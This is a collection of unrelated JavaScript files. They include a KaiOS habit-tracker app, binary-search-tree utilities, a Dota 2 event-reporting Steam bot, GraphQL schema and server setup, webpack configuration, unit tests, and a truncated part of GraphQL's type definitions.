{ var src = $("#BlogCommentCaptchaUrl").html(); var captchaId = Math.floor(Math.random() * 100); var src = $("#BlogCommentCaptchaUrl").html() + '?' + captchaId; $("#AuthCaptchaImage").hide(); $("#CaptchaLoader").show(); $("#AuthCaptchaImage").load(function() { $("#CaptchaLoader").hide(); $("#AuthCaptchaImage").fadeIn(1000); }); $("#AuthCaptchaImage").attr('src', src); } }
const DAY = 86400000; function getRandomInt(min, max) { min = Math.ceil(min); max = Math.floor(max); return Math.floor(Math.random() * (max - min) + min); } function seed(time) { const now = new Date().getTime(); if (now - time <= DAY) { return []; } const timeline = []; var days = Math.floor((now - time) / DAY); while (days > 0) { var r = getRandomInt(1, days); if (r > days) { r = days; days = 0; } else { days -= r; } time += (r * DAY); timeline.push(time); } return timeline; } window.addEventListener("load", function() { const DATABASE = 'HABITS'; localforage.setDriver(localforage.LOCALSTORAGE); const state = new KaiState({ [DATABASE]: {}, }); localforage.getItem(DATABASE) .then((DB) => { if (DB == null) { DB = {}; } state.setState(DATABASE, DB); }); const commitRelapseOrCheckIn = function(id) { return new Promise((resolve, reject) => { localforage.getItem(DATABASE) .then((DB) => { if (DB == null) { DB = {}; } if (DB[id] == null) { return Promise.reject(`${id} not exist`); } else { const today = new Date(); today.setHours(0,0,0,0); const start_date = new Date(DB[id].start); start_date.setHours(0,0,0,0); if ((start_date.getTime()) > today.getTime()) { return Promise.reject(`Relapsed/Check-In is valid after Start Date`); } else if (DB[id].timeline.length === 0) { DB[id].timeline.push(today.getTime()); return localforage.setItem(DATABASE, DB); } else { const last = new Date(DB[id].timeline[DB[id].timeline.length - 1]); last.setHours(0,0,0,0); const t = Math.floor((today.getTime() - last.getTime()) / DAY); if (t === 0) { return Promise.reject(`Already ${DB[id].type ? 'Check-In' : 'Relapsed'}`); } else { DB[id].timeline.push(today.getTime()); return localforage.setItem(DATABASE, DB); } } } return Promise.reject(`Unknown Error`); }) .then((UPDATED) => { state.setState(DATABASE, UPDATED); resolve(UPDATED[id]); }) .catch((e) => { reject(e); }) }); } const analyzeHabit = function(habit) { const LENGTH = habit.timeline.length; var t1 = 0, t2 = 0, progress = 0; var t1_str = 0, t2_str = 0; if (LENGTH === 0) { const s = new Date(); s.setHours(0,0,0,0); const e = new Date(habit.start); e.setHours(0,0,0,0); const t = Math.floor((s.getTime() - e.getTime()) / DAY); t1 = habit.type ? 1 : t; t2 = habit.type ? 1 : t1; } else if (LENGTH === 1) { const s = new Date(habit.timeline[0]); s.setHours(0,0,0,0); const e = new Date(habit.start); e.setHours(0,0,0,0); const tx = Math.floor((s.getTime() - e.getTime()) / DAY); t1 = tx; const start = new Date(); start.setHours(0,0,0,0); const ty = Math.floor((start.getTime() - s.getTime()) / DAY); t2 = ty; } else { for (var x=0;x<LENGTH;x++) { const s = new Date(habit.timeline[x]); s.setHours(0,0,0,0); const e = habit.timeline[x - 1] ? new Date(habit.timeline[x - 1]) : new Date(habit.start); e.setHours(0,0,0,0); const t = (Math.floor((s.getTime() - e.getTime()) / DAY)) - (habit.type ? 1 : 0); if (t >= t1) { t1 = t; } console.log(t, s.toString(), e.toString()); } const l = LENGTH - 1; const s = new Date(); s.setHours(0,0,0,0); const e = new Date(habit.timeline[l]); e.setHours(0,0,0,0); t2 = Math.floor((s.getTime() - e.getTime()) / DAY); } if (habit.type) { t1_str = 'Longest Idle Days'; t2_str = 'Current Idle Days'; if (t2 > 0) { progress = 0 / habit.target; } else { var i = 0; const timeline = [habit.start, ...habit.timeline]; for(var x=(timeline.length-1);x>0;x--) { const s = new Date(timeline[x]); s.setHours(0,0,0,0); const e = new Date(timeline[x - 1]); e.setHours(0,0,0,0); const t = Math.floor((s.getTime() - e.getTime()) / DAY); if (t <= 1) { i += 1; } else { break; } } progress = i / habit.target; } } else { t1_str = 'Longest Restraint Days'; t2_str = 'Current Restraint Days'; progress = t2 / habit.target; } return { '_1_label': (habit.type ? 'Check-In' : 'Relapse') + ' Counter', '_1': LENGTH, '_2_label': 'Progress', '_2': parseFloat((progress * 100).toFixed(2)), '_3_label': t1_str, '_3': t1, '_4_label': t2_str, '_4': t2, } } const helpSupportPage = new Kai({ name: 'helpSupportPage', data: { title: 'helpSupportPage' }, templateUrl: document.location.origin + '/templates/helpnsupport.html', mounted: function() { this.$router.setHeaderTitle('Help & Support'); navigator.spatialNavigationEnabled = false; }, unmounted: function() {}, methods: {}, softKeyText: { left: '', center: '', right: '' }, softKeyListener: { left: function() {}, center: function() {}, right: function() {} } }); const habitEditor = function($router, habit = null) { var date = habit ? new Date(habit.start) : new Date(); $router.push( new Kai({ name: 'editorHabit', data: { name: habit ? habit.name : '', type: habit ? (habit.type ? 'Positive' : 'Negative') : 'Positive', start: date.toLocaleDateString(), target: habit ? habit.target : '', startVisible: habit ? false : true, }, verticalNavClass: '.editorHabitNav', templateUrl: document.location.origin + '/templates/habitEditor.html', mounted: function() { this.$router.setHeaderTitle('Habit Editor'); }, unmounted: function() {}, methods: { selected: function() {}, setType: function() { var menu = [ { "text": "Positive", "checked": false }, { "text": "Negative", "checked": false } ]; const idx = menu.findIndex((opt) => { return opt.text === this.data.type; }); this.$router.showSingleSelector('Type', menu, 'Select', (selected) => { this.setData({ name: document.getElementById('name').value, target: document.getElementById('target').value, type: selected.text }); }, 'Cancel', null, undefined, idx); }, setDate: function() { const d = new Date(date); this.$router.showDatePicker(d.getFullYear(), d.getMonth() + 1, d.getDate(), (dt) => { date = dt; this.setData({ name: document.getElementById('name').value, target: document.getElementById('target').value, start: date.toLocaleDateString() }); }, undefined); }, submit: function() { try { var _habit = { id: habit ? habit.id : new Date().getTime(), name: this.data.name.trim(), type: this.data.type === `Positive` ? true : false, start: date.getTime(), timeline: habit ? habit.timeline : [], // seed(date.getTime()) target: JSON.parse(this.data.target) || 0 } if (_habit.name.length === 0 ) { $router.showToast('Name is required'); } else if (_habit.target === 0 ) { $router.showToast('Target day is required'); } else { localforage.getItem(DATABASE) .then((DB) => { if (DB == null) { DB = {}; } DB[_habit.id] = _habit; return localforage.setItem(DATABASE, DB); }) .then((UPDATED) => { $router.showToast(`${habit ? 'Updated' : 'Added'} ${_habit.name}`); state.setState(DATABASE, UPDATED); $router.pop(); }); } } catch (e) { console.log(e.toString()); $router.showToast('Error'); } } }, softKeyText: { left: '', center: '', right: '' }, softKeyListener: { left: function() {}, center: function() { const listNav = document.querySelectorAll(this.verticalNavClass); if (this.verticalNavIndex > -1) { if (listNav[this.verticalNavIndex]) { listNav[this.verticalNavIndex].click(); } } }, right: function() {} }, dPadNavListener: { arrowUp: function() { this.data.name = document.getElementById('name').value; this.data.target = document.getElementById('target').value; this.navigateListNav(-1); }, arrowRight: function() { //this.navigateTabNav(-1); }, arrowDown: function() { this.data.name = document.getElementById('name').value; this.data.target = document.getElementById('target').value; this.navigateListNav(1); }, arrowLeft: function() { //this.navigateTabNav(1); }, } }) ); } const viewReport = function($router, _habit) { $router.push( new Kai({ name: 'habitReport', data: { habit: _habit, date: new Date(_habit.start).toDateString(), analyzeData: analyzeHabit(_habit), }, templateUrl: document.location.origin + '/templates/habitReport.html', mounted: function() { this.$router.setHeaderTitle('Report'); }, unmounted: function() {}, methods: {}, softKeyText: { left: '', center: (_habit.type ? 'CHECK-IN' : 'RELAPSE'), right: '' }, softKeyListener: { left: function() {}, center: function() { this.$router.showDialog('Confirm', `Are you sure to ${(_habit.type ? 'CHECK-IN' : 'RELAPSE')} ?`, null, 'Yes', () => { commitRelapseOrCheckIn(_habit.id) .then((h) => { this.setData({ analyzeData: analyzeHabit(h) }); $router.showToast(`${(_habit.type ? 'DONE CHECK-IN' : 'OPSS RELAPSED')}`); }) .catch((e) => { $router.showToast(e.toString()); }); }, 'No', () => {}, ' ', null, () => {}); }, right: function() {} } }) ); } const home = new Kai({ name: 'home', data: { title: 'home', habits: [], isEmpty: true, }, verticalNavClass: '.homeNav', components: [], templateUrl: document.location.origin + '/templates/home.html', mounted: function() { this.$router.setHeaderTitle('Habit Tracker'); this.$state.addStateListener(DATABASE, this.methods.listenState); this.methods.listenState(this.$state.getState(DATABASE)); }, unmounted: function() { this.$state.removeStateListener(DATABASE, this.methods.listenState); }, methods: { listenState: function(data) { const _habits = []; for (var h in data) { _habits.push(data[h]); } if (this.verticalNavIndex > (_habits.length - 1)) { this.verticalNavIndex -= 1; } this.setData({ isEmpty: _habits.length === 0, habits: _habits }); this.methods.renderLCR(); }, renderLCR: function() { if (this.$router.stack[this.$router.stack.length - 1].name !== 'home') return if (this.data.habits.length > 0) { this.$router.setSoftKeyText('Menu', 'SELECT', 'Action'); } else { this.$router.setSoftKeyText('Menu', '', ''); } } }, softKeyText: { left: 'Menu', center: '', right: '' }, softKeyListener: { left: function() { const menus = [ { "text": "Track my habit" }, { "text": "Help & Support" }, { "text": "Exit" }, ]; this.$router.showOptionMenu('Menu', menus, 'Select', (selected) => { if (selected.text === 'Track my habit') { habitEditor(this.$router); } else if (selected.text === 'Help & Support') { this.$router.push('helpSupportPage'); } else if (selected.text === 'Exit') { window.close(); } }, () => { setTimeout(() => { this.methods.renderLCR(); }, 100); }, 0); }, center: function() { const habit = this.data.habits[this.verticalNavIndex]; if (habit) { viewReport(this.$router, habit); } }, right: function() { const habit = this.data.habits[this.verticalNavIndex]; if (habit) { const menus = [ // { "text": (habit.type ? 'Check-In' : 'Relapse') }, { "text": "Delete" }, { "text": "Update" } ]; this.$router.showOptionMenu('Action', menus, 'Select', (selected) => { if (selected.text === 'Delete') { this.$router.showDialog('Delete', `Are you sure to remove ${habit.name} ?`, null, 'Yes', () => { localforage.getItem(DATABASE) .then((DB) => { if (DB == null) { DB = {}; } delete DB[habit.id]; return localforage.setItem(DATABASE, DB); }) .then((UPDATED) => { this.$state.setState(DATABASE, UPDATED); this.$router.showToast(`Deleted ${habit.name}`); }); }, 'No', () => {}, ' ', null, () => { setTimeout(() => { this.methods.renderLCR(); }, 100); }); } else if (selected.text === 'Update') { habitEditor(this.$router, habit); } else if (selected.text === 'Check-In' || selected.text === 'Relapse') { commitRelapseOrCheckIn(habit.id) .then((h) => { console.log(h); }) .catch((e) => { console.log(e); }); } }, () => { setTimeout(() => { this.methods.renderLCR(); }, 100); }, 0); } } }, dPadNavListener: { arrowUp: function() { if (this.verticalNavIndex <= 0) { return } this.navigateListNav(-1); this.methods.renderLCR(); }, arrowRight: function() { // this.navigateTabNav(-1); }, arrowDown: function() { if (this.verticalNavIndex === this.data.habits.length - 1) { return } this.navigateListNav(1); this.methods.renderLCR(); }, arrowLeft: function() { // this.navigateTabNav(1); }, } }); const router = new KaiRouter({ title: 'Habit Tracker', routes: { 'index': { name: 'home', component: home }, 'helpSupportPage': { name: 'helpSupportPage', component: helpSupportPage }, } }); const app = new Kai({ name: '_APP_', data: {}, templateUrl: document.location.origin + '/templates/template.html', mounted: function() {}, unmounted: function() {}, router, state }); try { app.mount('app'); } catch(e) { console.log(e); } function displayKaiAds() { var display = true; if (window['kaiadstimer'] == null) { window['kaiadstimer'] = new Date(); } else { var now = new Date(); if ((now - window['kaiadstimer']) < 300000) { display = false; } else { window['kaiadstimer'] = now; } } console.log('Display Ads:', display); if (!display) return; getKaiAd({ publisher: 'ac3140f7-08d6-46d9-aa6f-d861720fba66', app: 'habit-tracker', slot: 'kaios', onerror: err => console.error(err), onready: ad => { ad.call('display') setTimeout(() => { document.body.style.position = ''; }, 1000); } }) } displayKaiAds(); document.addEventListener('visibilitychange', function(ev) { if (document.visibilityState === 'visible') { displayKaiAds(); } }); });
/** * Adjusts references for parent and child post insert * @private */ function adjustParentAndChildrenOfNewNode( newNode, oldRoot, comparator, NodeType ) { newNode.parent = oldRoot; if (oldRoot.isNil()) { this.root = newNode; } else if (comparator(newNode.key, oldRoot.key) === -1) { oldRoot.left = newNode; } else { oldRoot.right = newNode; } newNode.left = new NodeType(); newNode.right = new NodeType(); } /** * Inserts the given key and value into bst (maps key to value) * @private * @param {*} key - The key to insert into the bst * @param {*} value - The value that is mapped to by @param key * @param {BSTNode} Node - The Node type to insert into the tree * @returns {(BSTNode|undefined)} undefined if the node was already in tree, * thus not inserted or the new node that was just inserted successfully. */ export function BSTInsert(key, value, NodeType) { const comparator = this.comparator; let root = this.root; const newNode = new NodeType(key, value); let oldRoot = new NodeType(); while (!root.isNil()) { let comparatorResult = comparator(newNode.key, root.key); oldRoot = root; if (comparatorResult === -1) { root = root.left; } else if (comparatorResult === 1) { root = root.right; } else { root.value = value; return; } } adjustParentAndChildrenOfNewNode.call( this, newNode, oldRoot, comparator, NodeType ); return newNode; } /** * Searches for the given key in tree * @private * @param {BSTNode} root - The root node to start search * @param {*} key - The key to search for in bst * @returns {(undefined|BSTNode)} undefined if not found. Or the actual node if found */ export function BSTSearch(root, key) { let currentRoot = root; const comparator = this.comparator; while (!currentRoot.isNil()) { let comparatorResult = comparator(currentRoot.key, key); if (comparatorResult === 0) { return currentRoot; } else if (comparatorResult === -1) { currentRoot = currentRoot.right; } else { currentRoot = currentRoot.left; } } } /** * Finds the inorder successor of the given node that has 2 children * @private * @param {BSTNode} node - The Node to find the successor for * @returns {BSTNode} The inorder successor of @param node */ function successor(node) { let nodeSuccessor = node.right; while (nodeSuccessor.hasLeftChild()) { nodeSuccessor = nodeSuccessor.left; } return nodeSuccessor; } /** * @private */ function swapPropsWithSucccessor(nodeSuccessor, node) { if (nodeSuccessor !== node) { node.key = nodeSuccessor.key; node.value = nodeSuccessor.value; } } /** * Searches for a node with given key and removes it from tree * @private * @param {*} key - The key to search for in the tree * @returns {boolean|BSTNode} Returns false if node doesn't exist with @param key * or the successor and successor child of the node to remove */ export function BSTRemove(key) { let node = BSTSearch.call(this, this.root, key); if (!node) { return false; } let nodeSuccessor; let successorChild; if (!node.hasLeftChild() || !node.hasRightChild()) { nodeSuccessor = node; } else { nodeSuccessor = successor(node); } if (nodeSuccessor.hasLeftChild()) { successorChild = nodeSuccessor.left; } else { successorChild = nodeSuccessor.right; } successorChild.parent = nodeSuccessor.parent; if (nodeSuccessor.parent.isNil()) { this.root = successorChild; } else if (nodeSuccessor.isLeftChild()) { nodeSuccessor.parent.left = successorChild; } else { nodeSuccessor.parent.right = successorChild; } swapPropsWithSucccessor(nodeSuccessor, node); return {successorChild, nodeSuccessor}; } /** * Gets the inorder traversal starting at given root * @private * @param {BSTNode} root - The root of tree * @param {string} propWanted - The property of each node wanted * @param {Array} array - The Array to be updated with the result * @returns {undefined} */ export function BSTInorder(root, array) { if (root && !root.isNil()) { BSTInorder(root.left, array); array.push(root); BSTInorder(root.right, array); } } export function getKeysOrValues(root, prop, array) { if (root && !root.isNil()) { getKeysOrValues(root.left, prop, array); array.push(root[prop]); getKeysOrValues(root.right, prop, array); } } /** * Returns all keys less than the given value * @private * @param {BSTNode} root - The root of the tree * @param {*} key - The upper bound value * @param {function} comparator - The function used to compare keys to @param value * @param {Array} array - The array that holds the result * @returns {undefined} */ export function less(root, value, comparator, array) { if (!root || root.isNil()) { return; } const rootKey = root.key; const comparatorResult = comparator(rootKey, value); if (comparatorResult === -1) { array.push(rootKey); less(root.left, value, comparator, array); return less(root.right, value, comparator, array); } return less(root.left, value, comparator, array); } /** * Returns all keys greater than the given value * @private * @param {BSTNode} root - The root of the tree * @param {*} key - The lower bound value * @param {function} comparator - The function used to compare keys to @param value * @param {Array} array - The array that holds the result * @returns {undefined} */ export function greater(root, value, comparator, array) { if (!root || root.isNil()) { return; } const rootKey = root.key; const comparatorResult = comparator(rootKey, value); if (comparatorResult === 1) { array.push(rootKey); greater(root.left, value, comparator, array); return greater(root.right, value, comparator, array); } return greater(root.right, value, comparator, array); } /** * Returns the max or min based on the given query * @private * @param {string} query - The value wanted either min or max * @param {BSTNode} root - The root of the tree * @returns {*|undefined} The min or max value in the tree or undefined for empty tree */ export function minOrMax(query, root) { let currentRoot = root; const direction = query === 'min' ? 'left' : 'right'; if (currentRoot.isNil()) { return; } while (currentRoot[direction].key !== undefined) { currentRoot = currentRoot[direction]; } return currentRoot.key; } /** * Returns all keys in the given range * @private * @param {BSTNode} root - The root of the tree * @param {*} lower - The lower bound * @param {*} upper - The upper bound * @param {function} comparator - The compare function * @param {Array} array - The result array * @returns {undefined} */ export function keysBetween(root, lower, upper, comparator, array) { if (!root || root.isNil()) { return; } const rootKey = root.key; const lowerRootComp = comparator(lower, rootKey); if (lowerRootComp >= 0) { if (lowerRootComp === 0) { array.push(rootKey); } return keysBetween(root.right, lower, upper, comparator, array); } if (comparator(rootKey, upper) <= 0) { array.push(rootKey); } keysBetween(root.left, lower, upper, comparator, array); return keysBetween(root.right, lower, upper, comparator, array); }
module.exports={A:{A:{"1":"B","2":"I D F E A kB"},B:{"1":"M z N WB LB T","2":"C O H Q J K L"},C:{"2":"0 1 2 3 4 5 6 7 8 9 dB RB G X I D F E A B C O H Q J K L Y Z a b c d e f g h i j k l m n o p q r s t u v w x y P AB BB YB DB KB FB GB HB IB EB CB V U S MB NB OB PB QB JB SB TB M z N jB rB tB"},D:{"1":"0 1 2 3 4 5 6 7 8 9 O H Q J K L Y Z a b c d e f g h i j k l m n o p q r s t u v w x y P AB BB YB DB KB FB GB HB IB EB CB V U S MB NB OB PB QB JB SB TB M z N WB LB T uB aB bB","2":"G X I D F E A B C"},E:{"2":"G X I D F E A B C O H cB UB eB fB gB hB VB R W lB mB"},F:{"1":"0 1 2 3 4 5 6 7 8 9 Q J K L Y Z a b c d e f g h i j k l m n o p q r s t u v w x y P AB BB DB FB GB HB IB EB CB V U S","2":"E B C nB oB pB qB R XB sB W"},G:{"2":"F UB TC ZB vB wB xB yB zB 0B 1B 2B 3B 4B 5B 6B 7B 8B 9B AC BC"},H:{"2":"CC"},I:{"2":"RB G N DC EC FC GC ZB HC IC"},J:{"2":"D A"},K:{"2":"A B C P R XB W"},L:{"1":"T"},M:{"2":"M"},N:{"1":"B","2":"A"},O:{"2":"JC"},P:{"1":"G KC LC MC NC OC VB PC QC"},Q:{"2":"RC"},R:{"1":"SC"},S:{"2":"iB"}},B:5,C:"Resource Hints: prerender"};
const path = require('path'); const { tests } = require('@iobroker/testing'); // Run unit tests - See https://github.com/ioBroker/testing for a detailed explanation and further options tests.unit(path.join(__dirname, '..'), { allowedExitCodes: [11], predefinedObjects: [ { _id: "system.config", common: { language: "de" }, native: { /* ... */ }, type: 'device' } // ... ], overwriteAdapterConfig(config) { // Ein leeres Array reicht, damit der Wert iterable ist config.setup = []; /* system.config = { language: "de" }; */ return config; } });
/* eslint import/extensions:0 */ // Quick Take import { strict as assert } from "assert"; import collWhitespace from "../dist/string-collapse-leading-whitespace.esm.js"; // if leading/trailing whitespace doesn't contain \n, collapse to a single space assert.equal(collWhitespace(" aaa "), " aaa "); // otherwise, collapse to a single \n (default setting) assert.equal(collWhitespace(" \n\n aaa \n\n\n "), "\naaa\n"); // does nothing to trimmed strings: assert.equal(collWhitespace("aaa"), "aaa"); // if there are multiple lines string is still processed in trim-fashion - // only beginning and ending whitespace is changed: assert.equal( collWhitespace(" abc \n def \n ghi "), " abc \n def \n ghi " );
var port = 7080; var express = require("express"); var appexpress = express(); appexpress.get("/", function(request, response){ //root dir response.send("OK-BHBOT"); }); appexpress.listen(port); var fs = require('fs'); var request = require('request'); var Steam = require('steam'); var bot = new Steam.SteamClient(); var dota2lib = require('dota2'); var dota2 = new dota2lib.Dota2Client(bot, true); var username = "steamusername"; var password = "steampassword"; var guardpass = ""; var querystring = require('querystring'); // if we've saved a server list, use it if(fs.existsSync('servers.dat')) { steam.servers = JSON.parse(fs.readFileSync('servers.dat')); } // if we have login data var sentry = null; if(fs.existsSync('login.dat')) { sentry = JSON.parse(fs.readFileSync('login.dat')); } bot.logOn({ accountName: username, password: password, authCode: guardpass, shaSentryfile: sentry }); bot.on('error',function(err) { log.info('bot error'); console(err); }); function reportData(lasturl,fulldata) { console.log("Sending data to server"); request(lasturl,function (error, response, body) { console.log("Request done"); if (!error && response.statusCode == 200) { console.log(body) // Show the HTML for the Google homepage. } else { if(response) { console.log(response.statusCode); } else { console.log(error); } console.log("Retry in 3 minutes"); setTimeout(function() { console.log("Retry sending data to server"); request(lasturl,function (error, response, body) { console.log("Request done"); if (!error && response.statusCode == 200) { console.log(body) // Show the HTML for the Google homepage. } else { if(response) { console.log(response.statusCode); } else { console.log(error); } console.log("Report error to zapier"); fulldata['lasturl'] = lasturl; request('https://zapier.com/hooks/catch/secrethookid/?'+querystring.stringify({body:JSON.stringify(fulldata)}),function (error, response, body) { console.log("Error sent to zapier"); }); } }); },180*1000); } }); } bot.on('loggedOn', function() { console.log('Logged in!'); bot.setPersonaState(Steam.EPersonaState.Online); // to display your bot's status as "Online" dota2.launch(); dota2.on("ready",function() { //dota2.leavePracticeLobby(); //dota2.newbloom(); dota2.on("newbloom",function(response) { console.log("get newbloom data"); console.log(response); var nbresponse = response; if(response.nextTransitionTime<1451606400) { // actual data var lasturl = "http://2015.yearbeast.com/"; if(response.isActive) { // update duration lasturl = 'http://2015.yearbeast.com/secretupdate_duration/' + (response.nextTransitionTime - response.standbyDuration); reportData(lasturl,nbresponse); } else { // update next event lasturl = 'http://2015.yearbeast.com/secretupdate_start/' + response.nextTransitionTime; reportData(lasturl,nbresponse); } } }); }); }); bot.on('servers', function(servers) { fs.writeFile('servers', JSON.stringify(servers)); }); bot.on('sentry', function(sentry) { fs.writeFile('login.dat', JSON.stringify(sentry)); });
import React from 'react' import { css, keyframes } from '@emotion/react' export const NewTabLink = (props) => ( <a rel="noopener noreferrer" target="_blank" {...props} /> ) export const colors = { black: '#000', gray10: '#333', gray20: '#555', gray30: '#666', gray40: '#777', gray50: '#999', gray57: '#bbb', gray60: '#ccc', gray70: '#ddd', gray80: '#ececec', gray90: '#eee', gray100: '#efefef', gray110: '#f3f3f3', gray120: '#f7f7f7', white: '#fff', } const rotate = keyframes` from { transform: rotate(0deg); } to { transform: rotate(359deg); } ` export const animations = { rotate: css` ${rotate} 2s infinite linear; `, rotateFast: css` ${rotate} 0.7s infinite linear; `, } export const breakpoints = { xsmall: '600', small: '1000', medium: '1280', large: '1420', xlarge: '1800', } export const mediaQueries = { minWidthExtraSmall: `(min-width: ${breakpoints.xsmall}px)`, minWidthSmall: `(min-width: ${breakpoints.small}px)`, minWidthMedium: `(min-width: ${breakpoints.medium}px)`, minWidthLarge: `(min-width: ${breakpoints.large}px)`, minWidthExtraLarge: `(min-width: ${breakpoints.xlarge}px)`, }
const graphql = require('graphql'); const _ = require('lodash'); const { GraphQLID, GraphQLInt, GraphQLString, GraphQLObjectType, GraphQLList, GraphQLSchema, GraphQLNonNull } = graphql; const Movie = require('../models/Movie'); const Director = require('../models/Director'); const RootQuery = new GraphQLObjectType({ name: 'RootQuery', fields: () => ({ movie: { type: MovieType, args: { id: { type: GraphQLID } }, resolve(parent, args){ //return _.find(movies, { id: args.id }); return Movie.findById(args.id); } }, movies: { type: new GraphQLList(MovieType), resolve(parent, args){ //return movies; return Movie.find({}); } }, director: { type: DirectorType, args: { id: { type: GraphQLID } }, resolve(parent, args){ //return _.find(directors, { id: args.id }); return Director.findById(args.id); } }, directors: { type: new GraphQLList(DirectorType), resolve(parent, args){ //return directors; return Director.find({}); } } }) }); const MovieType = new GraphQLObjectType({ name: 'Movie', fields: () => ({ id: { type: GraphQLID }, title: { type: GraphQLString }, description: { type: GraphQLString }, year: { type: GraphQLInt }, director: { type: DirectorType, resolve(parent, args){ //return _.find(directors, { id: parent.directorId }); return Director.findById(parent.directorId); } } }) }); const DirectorType = new GraphQLObjectType({ name: 'Director', fields: () => ({ id: { type: GraphQLID }, name: { type: GraphQLString }, birth: { type: GraphQLInt }, movies: { type: new GraphQLList(MovieType), resolve(parent, args){ //return _.filter(movies, { directorId: parent.id }); return Movie.find({ directorId: parent.id }); } } }) }); const Mutation = new GraphQLObjectType({ name: 'Mutation', fields: { addMovie: { type: MovieType, args: { title: { type: new GraphQLNonNull(GraphQLString) }, description: { type: GraphQLString }, year: { type: new GraphQLNonNull(GraphQLInt) }, directorId: { type: new GraphQLNonNull(GraphQLID) } }, resolve(parent, args){ const movie = new Movie({ title: args.title, description: args.description, year: args.year, directorId: args.directorId }); return movie.save(); } }, addDirector: { type: DirectorType, args: { name: { type: new GraphQLNonNull(GraphQLString) }, birth: { type: GraphQLInt } }, resolve(parent, args){ const director = new Director({ name: args.name, birth: args.birth }); return director.save(); } } } }); module.exports = new GraphQLSchema({ query: RootQuery, mutation: Mutation });
const path = require('path'); const webpack = require('webpack'); const merge = require('webpack-merge'); const UglifyJSPlugin = require('uglifyjs-webpack-plugin'); const baseConfig = require('./webpack.base'); const joinRoot = path.join.bind(path, __dirname, '..'); module.exports = merge(baseConfig, { mode: 'production', entry: [ joinRoot('src/index.ts'), ], output: { path: joinRoot('dist/'), filename: 'smooth-scrollbar.js', library: 'Scrollbar', libraryTarget: 'umd', libraryExport: 'default', }, plugins: [ new UglifyJSPlugin({ output: { comments: false, }, }), new webpack.optimize.ModuleConcatenationPlugin(), ], });
const { ApolloServer } = require('apollo-server'); const connectToDB = require('./db'); const typeDefs = require('./graphql/typeDefs'); const resolvers = require('./graphql/resolvers'); const { PORT } = require('./utils/config'); connectToDB(); const server = new ApolloServer({ typeDefs, resolvers, context: ({ req }) => ({ req }), }); server.listen({ port: PORT }).then(({ url }) => { console.log(`Server ready at ${url}`); });
const AppServer = require('./../../src/app-server'); describe('app-server.js', () => { let appServer = null; beforeEach(async () => { appServer = new AppServer(); await appServer.start(); }); afterEach(async () => { await appServer.stop(); }); it('should start successfully', async () => { expect(appServer.server).to.exist; expect(appServer.app).to.exist; }); });
/** * Copyright (c) 2015-present, Facebook, Inc. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. * * @flow strict */ import defineToJSON from '../jsutils/defineToJSON'; import defineToStringTag from '../jsutils/defineToStringTag'; import instanceOf from '../jsutils/instanceOf'; import inspect from '../jsutils/inspect'; import invariant from '../jsutils/invariant'; import keyMap from '../jsutils/keyMap'; import type { ObjMap } from '../jsutils/ObjMap'; import { Kind } from '../language/kinds'; import { valueFromASTUntyped } from '../utilities/valueFromASTUntyped'; import type { ScalarTypeDefinitionNode, ObjectTypeDefinitionNode, FieldDefinitionNode, InputValueDefinitionNode, InterfaceTypeDefinitionNode, UnionTypeDefinitionNode, EnumTypeDefinitionNode, EnumValueDefinitionNode, InputObjectTypeDefinitionNode, ScalarTypeExtensionNode, ObjectTypeExtensionNode, InterfaceTypeExtensionNode, UnionTypeExtensionNode, EnumTypeExtensionNode, InputObjectTypeExtensionNode, OperationDefinitionNode, FieldNode, FragmentDefinitionNode, ValueNode, } from '../language/ast'; import type { GraphQLSchema } from './schema'; import type { MaybePromise } from '../jsutils/MaybePromise'; // Predicates & Assertions /** * These are all of the possible kinds of types. */ export type GraphQLType = | GraphQLScalarType | GraphQLObjectType | GraphQLInterfaceType | GraphQLUnionType | GraphQLEnumType | GraphQLInputObjectType | GraphQLList<any> | GraphQLNonNull<any>; export function isType(type: mixed): boolean %checks { return ( isScalarType(type) || isObjectType(type) || isInterfaceType(type) || isUnionType(type) || isEnumType(type) || isInputObjectType(type) || isListType(type) || isNonNullType(type) ); } export function assertType(type: mixed): GraphQLType { invariant(isType(type), `Expected ${inspect(type)} to be a GraphQL type.`); return type; } /** * There are predicates for each kind of GraphQL type. */ declare function isScalarType(type: mixed): boolean %checks(type instanceof GraphQLScalarType); // eslint-disable-next-line no-redeclare export function isScalarType(type) { return instanceOf(type, GraphQLScalarType); } export function assertScalarType(type: mixed): GraphQLScalarType { invariant( isScalarType(type), `Expected ${inspect(type)} to be a GraphQL Scalar type.`, ); return type; } declare function isObjectType(type: mixed): boolean %checks(type instanceof GraphQLObjectType); // eslint-disable-next-line no-redeclare export function isObjectType(type) { return instanceOf(type, GraphQLObjectType); } export function assertObjectType(type: mixed): GraphQLObjectType { invariant( isObjectType(type), `Expected ${inspect(type)} to be a GraphQL Object type.`, ); return type; } declare function isInterfaceType(type: mixed): boolean %checks(type instanceof GraphQLInterfaceType); // eslint-disable-next-line no-redeclare export function isInterfaceType(type) { return instanceOf(type, GraphQLInterfaceType); } export function assertInterfaceType(type: mixed): GraphQLInterfaceType { invariant( isInterfaceType(type), `Expected ${inspect(type)} to be a GraphQL Interface type.`, ); return type; } declare function isUnionType(type: mixed): boolean %checks(type instanceof GraphQLUnionType); // eslint-disable-next-line no-redeclare export function isUnionType(type) { return instanceOf(type, GraphQLUnionType); } export function assertUnionType(type: mixed): GraphQLUnionType { invariant( isUnionType(type), `Expected ${inspect(type)} to be a GraphQL Union type.`, ); return type; } declare function isEnumType(type: mixed): boolean %checks(type instanceof GraphQLEnumType); // eslint-disable-next-line no-redeclare export function isEnumType(type) { return instanceOf(type, GraphQLEnumType); } export function assertEnumType(type: mixed): GraphQLEnumType { invariant( isEnumType(type), `Expected ${inspect(type)} to be a GraphQL Enum type.`, ); return type; } declare function isInputObjectType(type: mixed): boolean %checks(type instanceof GraphQLInputObjectType); // eslint-disable-next-line no-redeclare export function isInputObjectType(type) { return instanceOf(type, GraphQLInputObjectType); } export function assertInputObjectType(type: mixed): GraphQLInputObjectType { invariant( isInputObjectType(type), `Expected ${inspect(type)} to be a GraphQL Input Object type.`, ); return type; } declare function isListType(type: mixed): boolean %checks(type instanceof GraphQLList); // eslint-disable-next-line no-redeclare export function isListType(type) { return instanceOf(type, GraphQLList); } export function assertListType(type: mixed): GraphQLList<any> { invariant( isListType(type), `Expected ${inspect(type)} to be a GraphQL List type.`, ); return type; } declare function isNonNullType(type: mixed): boolean %checks(type instanceof GraphQLNonNull); // eslint-disable-next-line no-redeclare export function isNonNullType(type) { return instanceOf(type, GraphQLNonNull); } export function assertNonNullType(type: mixed): GraphQLNonNull<any> { invariant( isNonNullType(type), 